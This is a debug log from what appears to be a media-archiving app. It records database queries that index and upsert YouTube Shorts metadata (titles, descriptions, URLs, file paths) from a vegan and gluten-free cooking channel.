[debug] QUERY OK source="sources" db=0.5ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.787 [debug] QUERY OK source="media_items" db=1.6ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-14 15:00:34Z], 1] 20:31:10.788 [debug] QUERY OK source="media_items" db=0.7ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These are not the same old pastas your momma used to make! They're new age, absolutely delicious, and totally drool-worthy. I've made these 3 pastas gluten free and vegan for my diet and you can easily make them for whatever dietary needs you have. \n\nFollow along and cook all 3 recipes with my full step-by-step recipe videos below:\n1. Baked Feta Pasta: https://youtu.be/0x08omFb7wA\n2. Fajita Pasta: https://youtu.be/5KuWGZ9N85g\n3. Buttery Sage Fettucine: https://youtu.be/c6Y4Z2y_j8A\n\nSubscribe for daily Youtube Shorts and 2 full length videos per week all about vegan and gluten-free cooking. Even if you just want to incorporate 1 or 2 more meals per week that are plant-based or gf then you'll want to make sure to subscribe! Thanks for all your support!\nJanelle", "3 Viral Pastas You’ll Absolutely Love", "c48b5ba7-d53a-4f52-a84d-516cfe1a8f27", 1, [], 11, false, "oQ5tbloy_zw", "https://www.youtube.com/shorts/oQ5tbloy_zw", 379, "/downloads/downloads/alec/Steamy Vegan/2022-06-14 3 Viral Pastas You’ll Absolutely Love/3 Viral Pastas You’ll Absolutely Love [oQ5tbloy_zw].NA", false, false, true, 3, ~U[2022-06-14 15:00:34Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "These are not the same old pastas your momma used to make! They're new age, absolutely delicious, and totally drool-worthy. I've made these 3 pastas gluten free and vegan for my diet and you can easily make them for whatever dietary needs you have. \n\nFollow along and cook all 3 recipes with my full step-by-step recipe videos below:\n1. Baked Feta Pasta: https://youtu.be/0x08omFb7wA\n2. Fajita Pasta: https://youtu.be/5KuWGZ9N85g\n3. Buttery Sage Fettucine: https://youtu.be/c6Y4Z2y_j8A\n\nSubscribe for daily Youtube Shorts and 2 full length videos per week all about vegan and gluten-free cooking. Even if you just want to incorporate 1 or 2 more meals per week that are plant-based or gf then you'll want to make sure to subscribe! Thanks for all your support!\nJanelle", "3 Viral Pastas You’ll Absolutely Love", 1, 11, false, "oQ5tbloy_zw", "https://www.youtube.com/shorts/oQ5tbloy_zw", "/downloads/downloads/alec/Steamy Vegan/2022-06-14 3 Viral Pastas You’ll Absolutely Love/3 Viral Pastas You’ll Absolutely Love [oQ5tbloy_zw].NA", true, ~U[2022-06-14 15:00:34Z]] 20:31:10.789 [debug] QUERY OK source="sources" db=0.9ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.792 [debug] QUERY OK source="media_items" db=1.8ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-13 18:30:11Z], 1] 20:31:10.799 [debug] QUERY OK source="media_items" db=6.2ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Eating vegan and gluten free is delicious, healthy and definitely sexy. You can still have tons of fun with the recipes you make on this diet and not feel guilty about your cheat days.\n\nWant to find out more about all the different plant based and vegan options that I eat? Check out this video: https://youtu.be/TMKNdPVZHg8\n\nWant to see what a typical week of meals looks like on a gluten free and plant based diet? Have a look at this video: https://youtu.be/8E3Vra03ZVY\n\nDon't forget to subscribe for more daily youtube shorts and 2 full length videos per week about eating vegan and gluten free.", "Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵", "35e09b2a-d9e4-4390-95cb-e233a1509d25", 1, [], 15, false, "IJx9iq8VNi4", "https://www.youtube.com/shorts/IJx9iq8VNi4", 380, "/downloads/downloads/alec/Steamy Vegan/2022-06-13 Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵/Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵 [IJx9iq8VNi4].NA", false, false, true, 2, ~U[2022-06-13 18:30:11Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Eating vegan and gluten free is delicious, healthy and definitely sexy. You can still have tons of fun with the recipes you make on this diet and not feel guilty about your cheat days.\n\nWant to find out more about all the different plant based and vegan options that I eat? Check out this video: https://youtu.be/TMKNdPVZHg8\n\nWant to see what a typical week of meals looks like on a gluten free and plant based diet? Have a look at this video: https://youtu.be/8E3Vra03ZVY\n\nDon't forget to subscribe for more daily youtube shorts and 2 full length videos per week about eating vegan and gluten free.", "Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵", 1, 15, false, "IJx9iq8VNi4", "https://www.youtube.com/shorts/IJx9iq8VNi4", "/downloads/downloads/alec/Steamy Vegan/2022-06-13 Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵/Ohhh Baby!!! Plant based, gluten free food is sexy 🔥🥵 [IJx9iq8VNi4].NA", true, ~U[2022-06-13 18:30:11Z]] 20:31:10.801 [debug] QUERY OK source="sources" db=1.4ms idle=11.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.803 [debug] QUERY OK source="media_items" db=1.9ms idle=12.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-13 16:15:02Z], 1] 20:31:10.805 [debug] QUERY OK source="media_items" db=1.6ms idle=13.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Did you know that you can use your veggie scraps to make your own broth? 😮 \n\nThis food hack is one of my favourites because it gives your food 'waste' a second life and your wallet a break from expensive store-bought broth! \n\nWatch my full video on how to make your own scrappy veggie broth ➡️ https://www.youtube.com/watch?v=r1oKvdZva8s\n\nWant more food hacks? Watch MY TOP 10 VEGAN FOOD HACKS ➡️ https://youtu.be/Iv8GO56gMXk\n\n\nMusic by Juju B. Goode - Day 9. Watermelon Arcade - https://thmatc.co/?l=309E581F", "Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄", "67c6da4e-cca7-4ed3-88d8-ba809258a514", 1, [], 31, false, "15bwxMOKgpU", "https://www.youtube.com/shorts/15bwxMOKgpU", 381, "/downloads/downloads/alec/Steamy Vegan/2022-06-13 Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄/Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄 [15bwxMOKgpU].NA", false, false, true, 2, ~U[2022-06-13 16:15:02Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Did you know that you can use your veggie scraps to make your own broth? 😮 \n\nThis food hack is one of my favourites because it gives your food 'waste' a second life and your wallet a break from expensive store-bought broth! \n\nWatch my full video on how to make your own scrappy veggie broth ➡️ https://www.youtube.com/watch?v=r1oKvdZva8s\n\nWant more food hacks? Watch MY TOP 10 VEGAN FOOD HACKS ➡️ https://youtu.be/Iv8GO56gMXk\n\n\nMusic by Juju B. Goode - Day 9. Watermelon Arcade - https://thmatc.co/?l=309E581F", "Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄", 1, 31, false, "15bwxMOKgpU", "https://www.youtube.com/shorts/15bwxMOKgpU", "/downloads/downloads/alec/Steamy Vegan/2022-06-13 Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄/Free veggie broth! 👏🏻 How to make your own from scraps 🥕 🧅 🧄 [15bwxMOKgpU].NA", true, ~U[2022-06-13 16:15:02Z]] 20:31:10.806 [debug] QUERY OK source="sources" db=0.5ms idle=13.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.809 [debug] QUERY OK source="media_items" db=1.9ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-12 17:00:11Z], 1] 20:31:10.810 [debug] QUERY OK source="media_items" db=0.9ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day as a vegan! Easy, colourful, delicious 🤤\n\nCheck out my latest What I Eat in a Week video: https://youtu.be/8E3Vra03ZVY", "Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts", "62479a0e-ba5b-41c3-b4dc-4c5cb75a7c0e", 1, [], 11, false, "Nk7eZWND1GE", "https://www.youtube.com/shorts/Nk7eZWND1GE", 382, "/downloads/downloads/alec/Steamy Vegan/2022-06-12 Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts/Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts [Nk7eZWND1GE].NA", false, false, true, 1, ~U[2022-06-12 17:00:11Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "What I eat in a day as a vegan! Easy, colourful, delicious 🤤\n\nCheck out my latest What I Eat in a Week video: https://youtu.be/8E3Vra03ZVY", "Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts", 1, 11, false, "Nk7eZWND1GE", "https://www.youtube.com/shorts/Nk7eZWND1GE", "/downloads/downloads/alec/Steamy Vegan/2022-06-12 Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts/Eat with me! 🍴 🌱What I eat in a day (vegan) #shorts [Nk7eZWND1GE].NA", true, ~U[2022-06-12 17:00:11Z]] 20:31:10.811 [debug] QUERY OK source="sources" db=0.4ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.813 [debug] QUERY OK source="media_items" db=1.8ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-11 14:15:00Z], 1] 20:31:10.814 [debug] QUERY OK source="media_items" db=1.0ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Love this song about pie from Peter Griffin and the Family Guy crew. We also believe it should always be a wonderful day for pie for anyone on a vegan or gluten free diet too!\n\nEnjoy these 2 pie recipes with two different crust options for you:\nStrawberry Rhubarb Pie Video: https://youtu.be/42Ra2CeeUM8\nChocolate Avocado Cream Pie Video: https://youtu.be/8GSEsZWhkhs\n\nThe strawberry rhubarb pie has a delicious almond flour crust while the chocolate avocado pie has a crust made from pecans, brown rice flour, agave nectar and a few other ingredients. Both crusts can be made with your favorite versions of pie and they're gluten free, vegan and absolutely delicious.", "IT'S A WONDERFUL DAY FOR PIE!", "b06f431f-7bc3-4dd5-ad55-aa3017c4068a", 1, [], 29, false, "FFX_q1yx-JI", "https://www.youtube.com/shorts/FFX_q1yx-JI", 383, "/downloads/downloads/alec/Steamy Vegan/2022-06-11 IT'S A WONDERFUL DAY FOR PIE!/IT'S A WONDERFUL DAY FOR PIE! [FFX_q1yx-JI].NA", false, false, true, 2, ~U[2022-06-11 14:15:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Love this song about pie from Peter Griffin and the Family Guy crew. We also believe it should always be a wonderful day for pie for anyone on a vegan or gluten free diet too!\n\nEnjoy these 2 pie recipes with two different crust options for you:\nStrawberry Rhubarb Pie Video: https://youtu.be/42Ra2CeeUM8\nChocolate Avocado Cream Pie Video: https://youtu.be/8GSEsZWhkhs\n\nThe strawberry rhubarb pie has a delicious almond flour crust while the chocolate avocado pie has a crust made from pecans, brown rice flour, agave nectar and a few other ingredients. Both crusts can be made with your favorite versions of pie and they're gluten free, vegan and absolutely delicious.", "IT'S A WONDERFUL DAY FOR PIE!", 1, 29, false, "FFX_q1yx-JI", "https://www.youtube.com/shorts/FFX_q1yx-JI", "/downloads/downloads/alec/Steamy Vegan/2022-06-11 IT'S A WONDERFUL DAY FOR PIE!/IT'S A WONDERFUL DAY FOR PIE! [FFX_q1yx-JI].NA", true, ~U[2022-06-11 14:15:00Z]] 20:31:10.815 [debug] QUERY OK source="sources" db=0.5ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.817 [debug] QUERY OK source="media_items" db=1.7ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-11 00:30:09Z], 1] 20:31:10.819 [debug] QUERY OK source="media_items" db=0.7ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a week as a gluten-free vegan 🌱 Just a little sneaky peak at some of the foods I eat in a week that are simple, delicious and yummy! It’s all about balance 😊 \n\nCheck out the full video on my YouTube if you’re keen to catch the recipes ➡️\nhttps://youtu.be/8E3Vra03ZVY also in bio\n\n#steamyvegankitchen #steamyvegan #whatieatinaday #whatieat #whatieatinaweek #veganwhatieatinaday #yvrvegan #vancouvervegan", "What I eat in a week 💚 #vegan #shorts", "9747464b-b925-4f4b-be01-34e457de22be", 1, [], 15, false, "xfqTIh20PwA", "https://www.youtube.com/shorts/xfqTIh20PwA", 384, "/downloads/downloads/alec/Steamy Vegan/2022-06-11 What I eat in a week 💚 #vegan #shorts/What I eat in a week 💚 #vegan #shorts [xfqTIh20PwA].NA", false, false, true, 2, ~U[2022-06-11 00:30:09Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "What I eat in a week as a gluten-free vegan 🌱 Just a little sneaky peak at some of the foods I eat in a week that are simple, delicious and yummy! It’s all about balance 😊 \n\nCheck out the full video on my YouTube if you’re keen to catch the recipes ➡️\nhttps://youtu.be/8E3Vra03ZVY also in bio\n\n#steamyvegankitchen #steamyvegan #whatieatinaday #whatieat #whatieatinaweek #veganwhatieatinaday #yvrvegan #vancouvervegan", "What I eat in a week 💚 #vegan #shorts", 1, 15, false, "xfqTIh20PwA", "https://www.youtube.com/shorts/xfqTIh20PwA", "/downloads/downloads/alec/Steamy Vegan/2022-06-11 What I eat in a week 💚 #vegan #shorts/What I eat in a week 💚 #vegan #shorts [xfqTIh20PwA].NA", true, ~U[2022-06-11 00:30:09Z]] 20:31:10.820 [debug] QUERY OK source="sources" db=0.8ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.822 [debug] QUERY OK source="media_items" db=1.9ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-10 17:00:25Z], 1] 20:31:10.823 [debug] QUERY OK source="media_items" db=0.6ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["FULL RECIPE VIDEO: https://youtu.be/42Ra2CeeUM8\n\nThis strawberry rhubarb pie would definitely make Homer Simpson drool. It's a must try recipe and you can easily make it vegan and gluten free just like I do if you want.", "Homer Simpson Approved Pie", "11832eb9-adaa-4237-ad94-1c2f6d05b7a6", 1, [], 6, false, "omYgfwBf8oU", "https://www.youtube.com/shorts/omYgfwBf8oU", 385, "/downloads/downloads/alec/Steamy Vegan/2022-06-10 Homer Simpson Approved Pie/Homer Simpson Approved Pie [omYgfwBf8oU].NA", false, false, true, 3, ~U[2022-06-10 17:00:25Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "FULL RECIPE VIDEO: https://youtu.be/42Ra2CeeUM8\n\nThis strawberry rhubarb pie would definitely make Homer Simpson drool. It's a must try recipe and you can easily make it vegan and gluten free just like I do if you want.", "Homer Simpson Approved Pie", 1, 6, false, "omYgfwBf8oU", "https://www.youtube.com/shorts/omYgfwBf8oU", "/downloads/downloads/alec/Steamy Vegan/2022-06-10 Homer Simpson Approved Pie/Homer Simpson Approved Pie [omYgfwBf8oU].NA", true, ~U[2022-06-10 17:00:25Z]] 20:31:10.824 [debug] QUERY OK source="sources" db=0.5ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.826 [debug] QUERY OK source="media_items" db=2.0ms idle=5.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-10 15:00:02Z], 1] 20:31:10.828 [debug] QUERY OK source="media_items" db=0.4ms idle=6.3ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["HOT AND STEAMY MASSAGE. Massaged kale that is!", "d72ab474-7e81-4e7d-abd5-2c4ad98b7ea5", 1, [], 40, false, "4o0AYESqNKA", "https://www.youtube.com/shorts/4o0AYESqNKA", 386, "/downloads/downloads/alec/Steamy Vegan/2022-06-10 HOT AND STEAMY MASSAGE. Massaged kale that is!/HOT AND STEAMY MASSAGE. Massaged kale that is! [4o0AYESqNKA].NA", false, false, true, 3, ~U[2022-06-10 15:00:02Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "", "HOT AND STEAMY MASSAGE. Massaged kale that is!", 1, 40, false, "4o0AYESqNKA", "https://www.youtube.com/shorts/4o0AYESqNKA", "/downloads/downloads/alec/Steamy Vegan/2022-06-10 HOT AND STEAMY MASSAGE. Massaged kale that is!/HOT AND STEAMY MASSAGE. Massaged kale that is! [4o0AYESqNKA].NA", true, ~U[2022-06-10 15:00:02Z]] 20:31:10.829 [debug] QUERY OK source="sources" db=0.6ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.830 [debug] QUERY OK source="media_items" db=1.7ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-09 23:46:54Z], 1] 20:31:10.831 [debug] QUERY OK source="media_items" db=0.6ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Full Recipe Video: https://youtu.be/c6Y4Z2y_j8A\n\nThis vegan and gluten free fettucine is so easy and delicious that you'll make it year-round.", "Buttery Fettucine Made Almost As Quick As This Video", "30fce6b4-1697-41e1-8cdf-e22c3de9da31", 1, [], 7, false, "8E7qdW8c_Ew", "https://www.youtube.com/shorts/8E7qdW8c_Ew", 387, "/downloads/downloads/alec/Steamy Vegan/2022-06-09 Buttery Fettucine Made Almost As Quick As This Video/Buttery Fettucine Made Almost As Quick As This Video [8E7qdW8c_Ew].NA", false, false, true, 3, ~U[2022-06-09 23:46:54Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Full Recipe Video: https://youtu.be/c6Y4Z2y_j8A\n\nThis vegan and gluten free fettucine is so easy and delicious that you'll make it year-round.", "Buttery Fettucine Made Almost As Quick As This Video", 1, 7, false, "8E7qdW8c_Ew", "https://www.youtube.com/shorts/8E7qdW8c_Ew", "/downloads/downloads/alec/Steamy Vegan/2022-06-09 Buttery Fettucine Made Almost As Quick As This Video/Buttery Fettucine Made Almost As Quick As This Video [8E7qdW8c_Ew].NA", true, ~U[2022-06-09 23:46:54Z]] 20:31:10.832 [debug] QUERY OK source="sources" db=0.9ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.834 [debug] QUERY OK source="media_items" db=1.5ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND 